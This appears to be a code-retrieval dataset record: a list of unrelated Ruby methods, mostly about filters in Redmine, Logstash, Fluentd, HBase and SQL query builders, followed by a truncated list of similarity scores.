"def timeSeriesSingleSourceMultipleAttributes(time1,time2,dataSources,attributes)\n @result = nil\n if attributes != nil\n attrList = \"MultipleColumnPrefixFilter(\"\n attributes.each do |x|\n if attrList != \"MultipleColumnPrefixFilter(\"\n attrList = attrList << \",\"\n end\n attrList = attrList << \"'\" << x << \"'\"\n end\n attrList = attrList << ')\"'\n puts attrList\n if(time1 && time2 && dataSources)\n @result = @table.scan(start_row: time1, stop_row: time2, columns:dataSources,filter_String:attrList) \n end\n end \n return @result \n end",
"def update_filters(l_filter)\n handle_action_exceptions(__method__) do\n raise 'Filters file not valid.' unless File.exist?(l_filter)\n\n do_upload_and_update_filter(l_filter)\n @json ? { 'result' => 'Success' } : true\n end\n end",
"def after_filter; end",
"def update!(**args)\n @account_id = args[:account_id] if args.key?(:account_id)\n @auto_event_filter = args[:auto_event_filter] if args.key?(:auto_event_filter)\n @check_validation = args[:check_validation] if args.key?(:check_validation)\n @container_id = args[:container_id] if args.key?(:container_id)\n @continuous_time_min_milliseconds = args[:continuous_time_min_milliseconds] if args.key?(:continuous_time_min_milliseconds)\n @custom_event_filter = args[:custom_event_filter] if args.key?(:custom_event_filter)\n @event_name = args[:event_name] if args.key?(:event_name)\n @filter = args[:filter] if args.key?(:filter)\n @fingerprint = args[:fingerprint] if args.key?(:fingerprint)\n @horizontal_scroll_percentage_list = args[:horizontal_scroll_percentage_list] if args.key?(:horizontal_scroll_percentage_list)\n @interval = args[:interval] if args.key?(:interval)\n @interval_seconds = args[:interval_seconds] if args.key?(:interval_seconds)\n @limit = args[:limit] if args.key?(:limit)\n @max_timer_length_seconds = args[:max_timer_length_seconds] if args.key?(:max_timer_length_seconds)\n @name = args[:name] if args.key?(:name)\n @parameter = args[:parameter] if args.key?(:parameter)\n @parent_folder_id = args[:parent_folder_id] if args.key?(:parent_folder_id)\n @selector = args[:selector] if args.key?(:selector)\n @total_time_min_milliseconds = args[:total_time_min_milliseconds] if args.key?(:total_time_min_milliseconds)\n @trigger_id = args[:trigger_id] if args.key?(:trigger_id)\n @type = args[:type] if args.key?(:type)\n @unique_trigger_id = args[:unique_trigger_id] if args.key?(:unique_trigger_id)\n @vertical_scroll_percentage_list = args[:vertical_scroll_percentage_list] if args.key?(:vertical_scroll_percentage_list)\n @visibility_selector = args[:visibility_selector] if args.key?(:visibility_selector)\n @visible_percentage_max = args[:visible_percentage_max] if args.key?(:visible_percentage_max)\n @visible_percentage_min = args[:visible_percentage_min] if args.key?(:visible_percentage_min)\n @wait_for_tags = args[:wait_for_tags] if args.key?(:wait_for_tags)\n @wait_for_tags_timeout = args[:wait_for_tags_timeout] if args.key?(:wait_for_tags_timeout)\n end",
"def trip_filters\n elems = []\n TimeFilterHelper.time_filters.each do |tf|\n elems << {\n :id => 100 + tf[:id],\n :value => tf[:value]\n }\n end\n TripPurpose.all.each do |tp|\n elems << {\n :id => tp.id,\n :value => TranslationEngine.translate_text(tp.name)\n }\n end\n return elems\n end",
"def _call_filters(filter_set)\n (filter_set || []).each do |filter, rule|\n # Both:\n # * no :only or the current action is in the :only list\n # * no :exclude or the current action is not in the :exclude list\n if (!rule.key?(:only) || rule[:only].include?(action_name)) &&\n (!rule.key?(:exclude) || !rule[:exclude].include?(action_name))\n case filter\n when Symbol, String then send(filter)\n when Proc then self.instance_eval(&filter)\n end\n end\n end\n return :filter_chain_completed\n end",
"def risks_by_plugin(limit=10)\n\t\t\t\t\tselect(\"items.*\").select(\"count(*) as count_all\").joins(:plugin).where(\"plugin_id != 1\").where(:severity => 4).group(:plugin_id).order(\"count_all DESC\").limit(limit)\n\t\t\t\tend",
"def set_filter(agent, filters, vars)\n agent.reset\n if filters[:discovery]\n agent.discover({:nodes => filters[:discovery]})\n else\n ['identity', 'fact', 'class', 'compound'].each do |kind|\n next unless filters[kind]\n add_filter = agent.method(\"#{kind}_filter\".to_sym)\n if filters[kind].is_a?(String)\n add_filter.call(interpolate(filters[kind], vars))\n else\n filters[kind].each do |filter|\n add_filter.call(interpolate(filter, vars))\n end\n end\n end\n end\n agent\nend",
"def gather_threshold_totals\n rules.each{|field_to_validate, field_options|\n field_threshold = return_threshold(field_to_validate, field_options)\n if field_threshold\n gather_field_threshold_totals(field_to_validate, field_options)\n else\n gather_specific_validation_totals(field_to_validate, field_options)\n end\n }\n end",
"def execute_from_filters(filters, total_results, detailed='')\n\t\t\tkparams = {}\n\t\t\tfilters.each do |obj|\n\t\t\t\tclient.add_param(kparams, 'filters', obj);\n\t\t\tend\n\t\t\tclient.add_param(kparams, 'totalResults', total_results);\n\t\t\tclient.add_param(kparams, 'detailed', detailed);\n\t\t\tclient.queue_service_action_call('playlist', 'executeFromFilters', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def filter_prepare(current_filter = @filter, subfilter = @subfilter)\n verified_filter = @filters.assoc(current_filter) ? current_filter : @filters.first[0]\n subfilter ||= {}\n the_filter = @filters.assoc(verified_filter)[1]\n # I had to do this in this kind of funny way to avoid actually modifying @filters.\n find_conditions = the_filter.has_key?(:conditions) ? the_filter[:conditions].dup : ['1']\n find_include = []\n # find_conditions += filter[:conditions] if filter.has_key?(:conditions)\n find_include += the_filter[:include] if the_filter.has_key?(:include)\n # If no subfilters have been checked, this should be skipped, accept all\n # If some subfilters have been checked, only the checked ones will be traversed.\n # Within a single key, two checks yields OR\n # Across keys, two checks yield AND\n # The idea is that the subfilter conditions will read \"field in (?)\"\n # And then the keys will provide the array of options\n subfilter.each do |key, sf|\n fsf = the_filter[:subfilters].assoc(key)[1].dup\n find_conditions[0] += (' and ' + fsf[:conditions])\n find_conditions << sf.keys\n find_include << fsf[:include] if fsf.has_key?(:include)\n end\n total_records = scoped_model.count(:all, :include => find_include, :conditions => find_conditions)\n # puts \"%%%%% FILTER INFO IN FILTER_PREPARE: include:[#{find_include.inspect}], conditions:[#{find_conditions.inspect}].\"\n return[verified_filter, subfilter, find_include, find_conditions, total_records]\n end",
"def initialize_available_filters_with_ayty_custom_columns\n\n principals = []\n subprojects = []\n versions = []\n categories = []\n issue_custom_fields = []\n\n if project\n principals += project.principals.visible\n unless project.leaf?\n subprojects = project.descendants.visible.to_a\n principals += Principal.member_of(subprojects).visible\n end\n versions = project.shared_versions.to_a\n categories = project.issue_categories.to_a\n issue_custom_fields = project.all_issue_custom_fields\n else\n if all_projects.any?\n principals += Principal.member_of(all_projects).visible\n end\n versions = Version.visible.where(:sharing => 'system').to_a\n issue_custom_fields = IssueCustomField.where(:is_for_all => true)\n end\n principals.uniq!\n principals.sort!\n principals.reject! {|p| p.is_a?(GroupBuiltin)}\n users = principals.select {|p| p.is_a?(User)}\n\n add_available_filter \"status_id\",\n :type => :list_status, :values => IssueStatus.sorted.collect{|s| [s.name, s.id.to_s] }\n\n if project.nil?\n project_values = []\n if User.current.logged? && User.current.memberships.any?\n project_values << [\"<< #{l(:label_my_projects).downcase} >>\", \"mine\"]\n end\n project_values += all_projects_values\n add_available_filter(\"project_id\",\n :type => :list, :values => project_values\n ) unless project_values.empty?\n end\n\n add_available_filter \"tracker_id\",\n :type => :list, :values => trackers.collect{|s| [s.name, s.id.to_s] }\n add_available_filter \"priority_id\",\n :type => :list, :values => IssuePriority.all.collect{|s| [s.name, s.id.to_s] }\n\n author_values = []\n author_values << [\"<< #{l(:label_me)} >>\", \"me\"] if User.current.logged?\n author_values += users.collect{|s| [s.name, s.id.to_s] }\n add_available_filter(\"author_id\",\n :type => :list, :values => author_values\n ) unless author_values.empty?\n\n assigned_to_values = []\n assigned_to_values << [\"<< #{l(:label_me)} >>\", \"me\"] if User.current.logged?\n assigned_to_values += (Setting.issue_group_assignment? ?\n principals : users).collect{|s| [s.name, s.id.to_s] }\n add_available_filter(\"assigned_to_id\",\n :type => :list_optional, :values => assigned_to_values\n ) unless assigned_to_values.empty?\n\n group_values = Group.givable.visible.collect {|g| [g.name, g.id.to_s] }\n add_available_filter(\"member_of_group\",\n :type => :list_optional, :values => group_values\n ) unless group_values.empty?\n\n role_values = Role.givable.collect {|r| [r.name, r.id.to_s] }\n add_available_filter(\"assigned_to_role\",\n :type => :list_optional, :values => role_values\n ) unless role_values.empty?\n\n add_available_filter \"fixed_version_id\",\n :type => :list_optional,\n :values => versions.sort.collect{|s| [\"#{s.project.name} - #{s.name}\", s.id.to_s] }\n\n add_available_filter \"category_id\",\n :type => :list_optional,\n :values => categories.collect{|s| [s.name, s.id.to_s] }\n\n add_available_filter \"subject\", :type => :text\n add_available_filter \"description\", :type => :text\n add_available_filter \"created_on\", :type => :date_past\n add_available_filter \"updated_on\", :type => :date_past\n add_available_filter \"closed_on\", :type => :date_past\n add_available_filter \"start_date\", :type => :date\n add_available_filter \"due_date\", :type => :date\n add_available_filter \"estimated_hours\", :type => :float\n add_available_filter \"done_ratio\", :type => :integer\n\n if User.current.allowed_to?(:set_issues_private, nil, :global => true) ||\n User.current.allowed_to?(:set_own_issues_private, nil, :global => true)\n add_available_filter \"is_private\",\n :type => :list,\n :values => [[l(:general_text_yes), \"1\"], [l(:general_text_no), \"0\"]]\n end\n\n if User.current.logged?\n add_available_filter \"watcher_id\",\n :type => :list, :values => [[\"<< #{l(:label_me)} >>\", \"me\"]]\n end\n\n if subprojects.any?\n add_available_filter \"subproject_id\",\n :type => :list_subprojects,\n :values => subprojects.collect{|s| [s.name, s.id.to_s] }\n end\n\n add_custom_fields_filters(issue_custom_fields.ayty_filter_access_level(User.current))\n\n add_associations_custom_fields_filters :project, :author, :assigned_to, :fixed_version\n\n IssueRelation::TYPES.each do |relation_type, options|\n add_available_filter relation_type, :type => :relation, :label => options[:name]\n end\n add_available_filter \"parent_id\", :type => :tree, :label => :field_parent_issue\n add_available_filter \"child_id\", :type => :tree, :label => :label_subtask_plural\n\n Tracker.disabled_core_fields(trackers).each {|field|\n delete_available_filter field\n }\n\n # deleta filtros\n delete_available_filter \"priority_id\"\n delete_available_filter \"due_date\"\n delete_available_filter \"fixed_version_id\"\n\n versions_open = []\n\n if project\n versions_open = project.shared_versions.to_a\n else\n #versions = Version.visible.where(:sharing => 'system').to_a\n versions_open = Version.open.visible.where(:sharing => 'system').to_a\n end\n\n # caso o usuario nao seja ayty remove prioridade\n #add_available_filter \"priority_id\",\n # :type => :list, :values => IssuePriority.all.collect{|s| [s.name, s.id.to_s] }\n add_available_filter \"priority_id\",\n :type => :list, :values => IssuePriority.all.collect{|s| [s.name, s.id.to_s] } if User.current.ayty_is_user_ayty?\n\n # caso o usuario nao seja ayty remove data prevista\n #add_available_filter \"due_date\", :type => :date\n add_available_filter \"due_date\", :type => :date if User.current.ayty_is_user_ayty?\n\n if versions_open.any?\n add_available_filter \"fixed_version_id\",\n :type => :list_optional,\n :values => versions_open.sort.collect{|s| [\"#{s.project.name} - #{s.name}\", s.id.to_s] }\n end\n\n # pega somente usuarios ayty\n ayty_users = []\n ayty_users << [\"<< #{l(:label_me)} >>\", User.current.id] if User.current.logged?\n # projeto especifico\n if project\n ayty_users += project.ayty_assignable_users(true).collect{|s| [s.name, s.id.to_s] }\n else\n # todos projetos\n if all_projects.any?\n ayty_users += Principal.joins(:ayty_access_level).where(:ayty_access_levels => {:ayty_access => true}).member_of(all_projects).visible.collect{|s| [s.name, s.id.to_s] }\n end\n end\n ayty_users.uniq!\n ayty_users.sort!\n\n # inclui filtros\n add_available_filter(\"assigned_to_bd_id\",\n :type => :list_optional, :values => ayty_users\n ) unless ayty_users.empty?\n\n add_available_filter(\"assigned_to_net_id\",\n :type => :list_optional, :values => ayty_users\n ) unless ayty_users.empty?\n\n add_available_filter(\"assigned_to_test_id\",\n :type => :list_optional, :values => ayty_users\n ) unless ayty_users.empty?\n\n add_available_filter(\"assigned_to_aneg_id\",\n :type => :list_optional, :values => ayty_users\n ) unless ayty_users.empty?\n\n add_available_filter(\"assigned_to_areq_id\",\n :type => :list_optional, :values => ayty_users\n ) unless ayty_users.empty?\n\n add_available_filter(\"assigned_to_inf_id\",\n :type => :list_optional, :values => ayty_users\n ) unless ayty_users.empty?\n\n end",
"def store_autofilters #:nodoc:\n # Skip all columns if no filter have been set.\n return '' if @filter_on == 0\n\n col1 = @filter_area[2]\n col2 = @filter_area[3]\n\n col1.upto(col2) do |i|\n # Reverse order since records are being pre-pended.\n col = col2 -i\n\n # Skip if column doesn't have an active filter.\n next unless @filter_cols[col]\n\n # Retrieve the filter tokens and write the autofilter records.\n store_autofilter(col, *@filter_cols[col])\n end\n end",
"def filter(event)\n\n # Map of cassandra table names to logstash reference names\n field_hash = {\n \"name\"\t\t\t\t=> \"[parsed_message][customers][name]\",\n \"id\"\t\t\t\t=> \"[parsed_message][customers][id]\",\n \"address\"\t\t\t\t=> \"[parsed_message][customers][address]\",\n \"visits\"\t\t\t\t=> \"[parsed_message][customers][visits]\" }\n\n # Loop over the above list of fields\n # Set fields if they are not null or \"\"\n field_hash.each do |name, ref|\n unless (event.get(ref).nil? || event.get(ref) == \"\")\n event.set(name, event.get(ref))\n end\n end \n\n # Calculate the total amount spent for a customer\n unless (event.get(\"visits\").nil? || event.get(\"visits\") == \"\")\n calculate_total(\"total_spent\", \"visits\", event)\n fav_flavor(\"favorite_flavor\", \"visits\", event)\n end\n\n return [event]\nend",
"def wire_filters(table = @jqgrid_id)\n filter_partial = url_for_event(:filterDisplay)\n subfilter_open = url_for_event(:setFilter)\n filter_counts = url_for_event(:filterCounts)\n javascript_tag <<-JS\n jQuery('##{table}_filters').load('#{filter_partial}', function() {\n jQuery(this).find('input[type=checkbox]').click(function() {\n var options = {\n dataType:'script'\n }\n jqgw_beginReq('##{table}');\n jQuery(this).closest('form').ajaxSubmit(options); // uses jQuery Form plugin\n return true;\n });\n jQuery('##{table}_filters').find('.jqgw-filter-category')\n .hover(function(){jQuery(this).addClass('ui-state-hover');},\n \t\t function(){jQuery(this).removeClass('ui-state-hover');})\n .click(function() {\n jqgw_beginReq('##{table}');\n jQuery.getScript('#{subfilter_open}&catid='+jQuery(this).attr('id'));\n });\n jQuery.getScript('#{subfilter_open}&init=yes'); // open the default filter\n jQuery.getScript('#{filter_counts}'); // fill in the filter counts\n });\n JS\n end",
"def checks\n [\n ->(name: 'database') { [name, (ActiveRecord::Base.connection.active? rescue false)] },\n ->(name: 'sidekiq') { [name, (Sidekiq::ProcessSet.new.size.positive? rescue false)] },\n ->(name: 'sidekiq_latency') { [name, (Sidekiq::Queue.all.sum(&:latency) rescue false)] },\n #->(name: 'courtfinder'){ [name, (C100App::CourtfinderAPI.new.is_ok? rescue false)] },\n ]\n end",
"def where_from_groupfilter (groupfilter, groupby)\n @groupfilter = groupfilter # Instanzvariablen zur nachfolgenden Nutzung\n @groupby = groupby # Instanzvariablen zur nachfolgenden Nutzung\n @global_where_string = \"\" # Filter-Text für nachfolgendes Statement mit AND-Erweiterung für alle Union-Tabellen\n @global_where_values = [] # Filter-werte für nachfolgendes Statement für alle Union-Tabellen\n @dba_hist_where_string = \"\" # Filter-Text für nachfolgendes Statement mit AND-Erweiterung für DBA_Hist_Active_Sess_History\n @dba_hist_where_values = [] # Filter-werte für nachfolgendes Statement für DBA_Hist_Active_Sess_History\n\n @groupfilter.each do |key,value|\n @groupfilter.delete(key) if value.nil? || key == 'NULL' # '' zulassen, da dies NULL signalisiert, Dummy-Werte ausblenden\n @groupfilter[key] = value.strip if key == 'time_selection_start' || key == 'time_selection_end' # Whitespaces entfernen vom Rand des Zeitstempels\n end\n\n @groupfilter.each {|key,value|\n sql = groupfilter_value(key, value)[:sql]\n if key == \"DBID\" || key == \"Min_Snap_ID\" || key == \"Max_Snap_ID\" # Werte nur gegen HistTabelle binden\n @dba_hist_where_string << \" AND #{sql}\" # Filter weglassen, wenn nicht belegt\n if value && value != ''\n @dba_hist_where_values << value # Wert nur binden wenn nicht im :sql auf NULL getestet wird\n else\n @dba_hist_where_values << 0 # Wenn kein valides Alter festgestellt über DBA_Hist_Snapshot, dann reicht gv$Active_Session_History aus für Zugriff,\n @dba_hist_where_string << \"/* Zugriff auf DBA_Hist_Active_Sess_History ausblenden, da kein Wert für #{key} gefunden wurde (alle Daten kommen aus gv$Active_Session_History)*/\"\n end\n else # Werte für Hist- und gv$-Tabelle binden\n @global_where_string << \" AND #{sql}\"\n @global_where_values << value if value && value != '' # Wert nur binden wenn nicht im :sql auf NULL getestet wird\n end\n }\n end",
"def add_by_filter_reporter( period_s = 60 * 10.0 )\n @main_by_filter_period = period_s\n end",
"def hook_report_actions\n @flavor.class.after_add_resources do\n actions = actions_taken\n @recipe.send(:ruby_block, 'report_actions_taken') do\n # :nocov:\n block do\n $stdout.puts \"\\n\\nactions taken:\"\n actions.each { |a| $stdout.puts \" #{a}\" }\n end\n # :nocov:\n end\n end\n end",
"def filter\n filter = \"\"\n\n if session[:filter_user].to_i > 0\n task_ids = User.find(session[:filter_user].to_i).tasks.collect { |t| t.id }.join(',')\n if task_ids == ''\n filter = \"tasks.id IN (0) AND \"\n else\n filter = \"tasks.id IN (#{task_ids}) AND \"\n end\n elsif session[:filter_user].to_i < 0\n not_task_ids = Task.find(:all, :select => \"tasks.*\", :joins => \"LEFT OUTER JOIN task_owners t_o ON tasks.id = t_o.task_id\", :readonly => false, :conditions => [\"tasks.company_id = ? AND t_o.id IS NULL\", current_user.company_id]).collect { |t| t.id }.join(',')\n if not_task_ids == ''\n filter = \"tasks.id = 0 AND \"\n else\n filter = \"tasks.id IN (#{not_task_ids}) AND \" if not_task_ids != \"\"\n end\n end\n\n if session[:filter_milestone].to_i > 0\n filter << \"tasks.milestone_id = #{session[:filter_milestone]} AND \"\n elsif session[:filter_milestone].to_i < 0\n filter << \"(tasks.milestone_id IS NULL OR tasks.milestone_id = 0) AND \"\n end\n\n unless session[:filter_status].to_i == -1 || session[:filter_status].to_i == -2\n if session[:filter_status].to_i == 0\n filter << \"(tasks.status = 0 OR tasks.status = 1) AND \"\n elsif session[:filter_status].to_i == 2\n filter << \"(tasks.status > 1) AND \"\n else\n filter << \"tasks.status = #{session[:filter_status].to_i} AND \"\n end\n end\n\n if session[:filter_status].to_i == -2\n filter << \"tasks.hidden = 1 AND \"\n else\n filter << \"(tasks.hidden = 0 OR tasks.hidden IS NULL) AND \"\n end\n\n if session[:hide_deferred].to_i > 0\n filter << \"(tasks.hide_until IS NULL OR tasks.hide_until < '#{@tz.now.utc.to_s(:db)}') AND \"\n end \n\n unless session[:filter_customer].to_i == 0\n filter << \"tasks.project_id IN (#{current_user.projects.find(:all, :conditions => [\"customer_id = ?\", session[:filter_customer]]).collect(&:id).compact.join(',') }) AND \"\n end\n\n filter << \"(tasks.milestone_id NOT IN (#{@completed_milestone_ids}) OR tasks.milestone_id IS NULL) \"\n\n return filter\n end",
"def filter_options\n\t\t[\n\t\t\t['short_name', 'LENGTH(name) < 4', 'Short Name'],\n\t\t\t['medium_name', ['LENGTH(name) >= ? AND LENGTH(name) <= ?', 5, 10], 'Medium Name'],\n\t\t\t['long_name', lambda { |tag| tag.name.length > 10 }, 'Long Name']\n\t\t]\n\tend",
"def wait_log_event(msg_type, time_in_seconds=60, filter={})\n kafka = $logger.get_kafka\n kafka_topic = Myconfig.config[:kafka_topic]\n\n\n #\n #consumer = $logger.kafka_consumer\n #consumer.subscribe(kafka_topic, start_from_beginning: true)\n\n #\n res = nil\n\n begin\n # v1\n=begin\n timeout time_in_seconds.to_i do\n consumer.each_message do |message|\n data = (JSON.parse(message.value) rescue nil)\n next if data.nil?\n\n if data[\"type\"] == msg_type\n res = data\n break\n end\n end\n end\n=end\n\n puts \"---------- Kafka: read from offset #{$logger.offset} \"\n\n\n\n # v2\n filter_msg_types = msg_type.is_a?(String) ? [msg_type] : msg_type\n\n found = false\n Timeout.timeout time_in_seconds.to_i do\n while (true) do\n found = false\n\n begin\n kafka.fetch_messages(topic: kafka_topic, partition: 0, offset: $logger.offset).each do |message| #offset: earliest\n #\n $logger.offset = message.offset\n\n row = (JSON.parse(message.value) rescue nil)\n next if row.nil?\n\n if ['api_request_start', 'gexd_status'].include? row['type_name']\n next\n end\n\n #\n # puts \"--- offset: #{message.offset}, partition: #{message.partition}, key: #{message.key}\"\n # puts \"data: #{message.value}\"\n puts \"--- offset: #{message.offset}, partition: #{message.partition}, key: #{message.key}, type: #{row['type_name']}\"\n puts \"data: #{message.value}\"\n\n\n # date: #{row['created_at']\n\n # check msg\n next unless filter_msg_types.include?(row[\"type_name\"])\n\n # try parse data\n row['data'] = JSON.parse(row['data'])\n\n\n\n filter_ok = true\n filter.each do |k, v|\n f = k.to_s\n\n # no such field\n if row[f].nil? && row['data'][f].nil?\n filter_ok = false\n break\n end\n\n # search in columns\n if row[f]!=v && row['data'][f]!=v\n filter_ok = false\n break\n end\n\n #\n end\n\n next unless filter_ok\n\n # ok -found\n res = row\n found = true\n break\n\n end\n # / fetch_message\n\n rescue Exception => e\n puts \"exception1: #{e.message}, #{e.backtrace}\"\n\n end\n\n\n break if found\n\n sleep 5\n end\n end\n\n\n\n rescue Timeout::Error\n return nil\n rescue Exception => e\n puts \"exception: #{e.message}, #{e.backtrace}\"\n return nil\n end\n\n #\n res\n end",
"def typus_defaults_for(filter)\n if self.respond_to?(\"admin_#{filter}\")\n self.send(\"admin_#{filter}\")\n else\n Typus::Configuration.config[self.name][filter.to_s].split(', ') rescue []\n end\n end",
"def index\n \n @filter = Filter.new params[:filter]\n # @time_clock_entries = TimeClock.all\n\n # process users filter\n if !@filter.department_id.blank?\n @users = User.where(\"department_id = ?\", @filter.department_id)\n else \n @users = User.all\n end\n\n # filter time clock entries\n @time_clock_entries = TimeClock.includes(:user).filter(@filter)\n \n end",
"def run_cvdr_query(heading,filter)\n filter = '1=1' if filter.blank?\n query = Query.find_by_sql([\n \"select dbo.ethnicity_cvdr(p.ethnicity_id) ethnicity, '#{heading}' heading, count(c.id) count\\n\"+\n \"from claims c\\n\"+\n \" left join claims_data d on d.id = c.id\\n\"+\n \" left join patients p on p.id = c.patient_id\\n\"+\n \"where c.date_service >= ? and c.date_service <= ? \\n\"+\n \" and c.programme_id = ?\\n\"+\n \" and c.claim_status_id <= 6\\n\"+\n \" and d.cvdr_cvd_risk > 0\\n\"+\n \" and #{filter}\\n\"+\n # Exclude if a more recient \"accepted\" claim exists for the patient !!\n \" and not exists ( select 1 \\n\"+\n \" from claims xc \\n\"+\n \" left join claims_data xd on xd.id = xc.id\\n\"+\n \" where xc.patient_id = c.patient_id\\n\"+\n \" and xc.date_service > c.date_service and xc.date_service <= ?\\n\"+\n \" and xc.claim_status_id <= 6\\n\"+\n \" and xc.programme_id = ?\\n\"+\n \" and xd.cvdr_cvd_risk > 0 ) \\n\"+\n \"group by dbo.ethnicity_cvdr(p.ethnicity_id)\\n\"+\n \"order by 1\\n\",\n @criteria.start_date, @criteria.end_date, @criteria.programme_id,\n @criteria.end_date,@criteria.programme_id ])\n query\n end",
"def process_task(options, filter, vars)\n printtitle(options['name']) if options['name']\n filter = options['filter'] || filter\n case\n when options['foreach_node']\n process_foreach(options['foreach_node'], filter, vars)\n when options['tasks']\n options['tasks'].each do |task|\n process_task(task, filter, vars)\n end\n when options['action']\n process_action(options, filter, vars)\n end\nend",
"def configure(conf)\n specified_type_name = conf['@type']\n\n super\n\n @filter_categories = @filter_categories.map(&:to_sym)\n @drop_categories = @drop_categories.map(&:to_sym)\n\n if specified_type_name == 'woothee_fast_crawler_filter' || @fast_crawler_filter_mode\n @fast_crawler_filter_mode = true\n\n if @filter_categories.size > 0 || @drop_categories.size > 0 || @merge_agent_info\n raise Fluent::ConfigError, \"fast_crawler_filter cannot be specified with filter/drop/merge options\"\n end\n\n define_singleton_method(:filter, method(:filter_fast_crawler))\n return\n end\n\n if @filter_categories.size > 0 && @drop_categories.size > 0\n raise Fluent::ConfigError, \"both of 'filter' and 'drop' categories specified\"\n elsif @filter_categories.size > 0\n unless @filter_categories.reduce(true){|r,i| r and Woothee::CATEGORY_LIST.include?(i)}\n raise Fluent::ConfigError, \"filter_categories has invalid category name\"\n end\n @mode = :filter\n elsif @drop_categories.size > 0\n unless @drop_categories.reduce(true){|r,i| r and Woothee::CATEGORY_LIST.include?(i)}\n raise Fluent::ConfigError, \"drop_categories has invalid category name\"\n end\n @mode = :drop\n else\n @mode = :through\n end\n\n if @mode == :through && ! @merge_agent_info\n raise Fluent::ConfigError, \"configured not to do nothing (not to do either filter/drop nor addition of parser result)\"\n end\n\n define_singleton_method(:filter, method(:filter_standard))\n end",
"def plugins(ordered = true, state = 'all')\n opts = ordered ? {:order => :name } : {}; \\\n conds = { :content_provider_id => id }\n if (state == 'active') then \n conds = conds.merge( :retired => false )\n elsif (state == 'retired') then \n conds = conds.merge( :retired => true )\n end\n Plugin.find(:all, opts.merge( :conditions => conds))\n end",
"def meantime_filters #:nodoc:\n @meantime_filters ||= read_inheritable_attribute('meantime_filters') || []\n end",
"def check_db_monitoring\n db_plugins = [\n {\"plugin_name\"=>\"postgresql-i_heart_monkey\", \"plugin_type\"=>\"pg_n_tup_c-del\"},\n {\"plugin_name\"=>\"postgresql-i_heart_monkey\", \"plugin_type\"=>\"pg_n_tup_c-ins\"},\n {\"plugin_name\"=>\"postgresql-i_heart_monkey\", \"plugin_type\"=>\"pg_n_tup_c-upd\"}\n ]\n [s_one, s_two].each do |server|\n unless server.multicloud\n # PostgreSQL commands to generate data for collectd to return\n for ii in 1...100\n #TODO: have to select db with every call. figure a better way to do this and get rid of fast and ugly\n # cut and past hack.\n run_query(\"create table test#{ii}(test text); insert into test#{ii} values ('1'); update test#{ii} set test='2'; select * from test#{ii}; delete from test#{ii};\", server, \"i_heart_monkey\")\n # run_query(\"insert into test#{ii} values ('1')\", server, \"i_heart_monkey\")\n # run_query(\"update test#{ii} set test='2'\", server, \"i_heart_monkey\")\n # run_query(\"select * from test#{ii}\", server, \"i_heart_monkey\")\n # run_query(\"delete from test#{ii}\", server, \"i_heart_monkey\")\n end\n db_plugins.each do |plugin|\n monitor = obj_behavior(server, :get_sketchy_data, {'start' => -60,\n 'end' => -20,\n 'plugin_name' => plugin['plugin_name'],\n 'plugin_type' => plugin['plugin_type']})\n value = monitor['data']['value']\n raise \"No #{plugin['plugin_name']}-#{plugin['plugin_type']} data\" unless value.length > 0\n # Need to check for that there is at least one non 0 value returned.\n for nn in 0...value.length\n if value[nn] > 0\n break\n end\n end\n raise \"No #{plugin['plugin_name']}-#{plugin['plugin_type']} time\" unless nn < value.length\n puts \"Monitoring is OK for #{plugin['plugin_name']}-#{plugin['plugin_type']}\"\n end\n end\n end\n end",
"def filters_halted\n end",
"def add_range_filters\n %i(word_count hit_count kudos_count comments_count bookmarks_count revised_at).each do |countable|\n next unless options[countable]\n range = Search::RangeParser.string_to_range(options[countable])\n body.filter(:range, countable => range) unless range.blank?\n end\n add_date_range_filter\n add_word_count_filter\n end",
"def adjustSingleFilter(filter_name)\n\t\tmeth = @methods[filter_name]\n\t\tremove_list = Array.new\n\t\tmeth.getCalls.each do |c|\n\t\t\tif c.getOn.length > 0\n\t\t\t\tc.getOn.each do |on|\n\t\t\t\t\tif @methods[on] == nil\n\t\t\t\t\t\tputs \"Defined #{filter_name} :on => #{on}, but method #{on} is not explicitly defined\"\n\t\t\t\t\telse\n\t\t\t\t\t\t@methods[on].insertCall(c)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tremove_list.push(c)\n\t\t\tend\n\t\tend\n\t\tremove_list.each do |r|\n\t\t\tmeth.getCalls.delete(r)\n\t\tend\n\tend",
"def filter(event)\n\n #Category\n category = event.get(\"category\")\n if category.nil?\n category = \"\"\n end\n\n new_category = fn_make_cate_all(category, 0) \n event.set(\"category\", new_category)\n\n service_gubun = event.get(\"service_gubun\")\n\n new_cat1 = fn_make_cate_all(category, 2) \n event.set(\"cat1\", new_cat1)\n \n new_cat2 = fn_make_cate_all(category, 4) \n event.set(\"cat2\", new_cat2)\n \n new_cat3 = fn_make_cate_all(category, 6) \n event.set(\"cat3\", new_cat3)\n \n new_cat4 = fn_make_cate_all(category, 8) \n event.set(\"cat4\", new_cat4)\n\n new_cg = \"\"\n if service_gubun == \"1\"\n new_cg = new_cat2 \n else\n new_cg = new_cat1 \n end \n event.set(\"cg\", new_cg)\n\n #Model Factory\n #deplecated : ES에서 Model-Factory 전용 Tokenizer 사용\n=begin\n if service_gubun == \"1\"\n modelnm = event.get(\"modelnm\")\n factory = event.get(\"factory\")\n if modelnm.nil?\n modelnm = \"\"\n end\n if factory.nil?\n factory = \"\"\n end\n\n model_factory = factory_all(modelnm+\" \"+factory)\n event.set(\"model_factory\", model_factory)\n end\n=end\n \n return [event]\n\nend",
"def apply_project_filters(project)\n handle_action_exceptions(__method__) do\n cmd_line = [\"applyprojectfilters '#{project}'\"]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end"
] | [
"0.5582322",
"0.5468602",
"0.54093206",
"0.53345585",
"0.5278474",
"0.52157444",
"0.52079964",
"0.51683015",
"0.516706",
"0.49910915",
"0.49835807",
"0.496885",
"0.496885",
"0.49558488",
"0.49135563",
"0.49094322",
"0.4895519",
"0.48122942",
"0.48080233",
"0.474341",
"0.474341",
"0.4730236",
"0.4723947",
"0.4719603",
"0.47104543",
"0.4689186",
"0.4686628",
"0.4673753",
"0.4669763",
"0.4655573",
"0.46468827",
"0.4630408",
"0.46221113",
"0.4598187",
"0.45936686",
"0.45925775",
"0.45899796",
"0.4588243",
"0.45866132",
"0.45785305",
"0.45777717",
"0.45759434",
"0.454591",
"0.45437497",
"0.45352855",
"0.45276552",
"0.4518875",
"0.45159456",
"0.4510999",
"0.45085168",
"0.45006177",
"0.44910732",
"0.44888502",
"0.44763866",
"0.4474157",
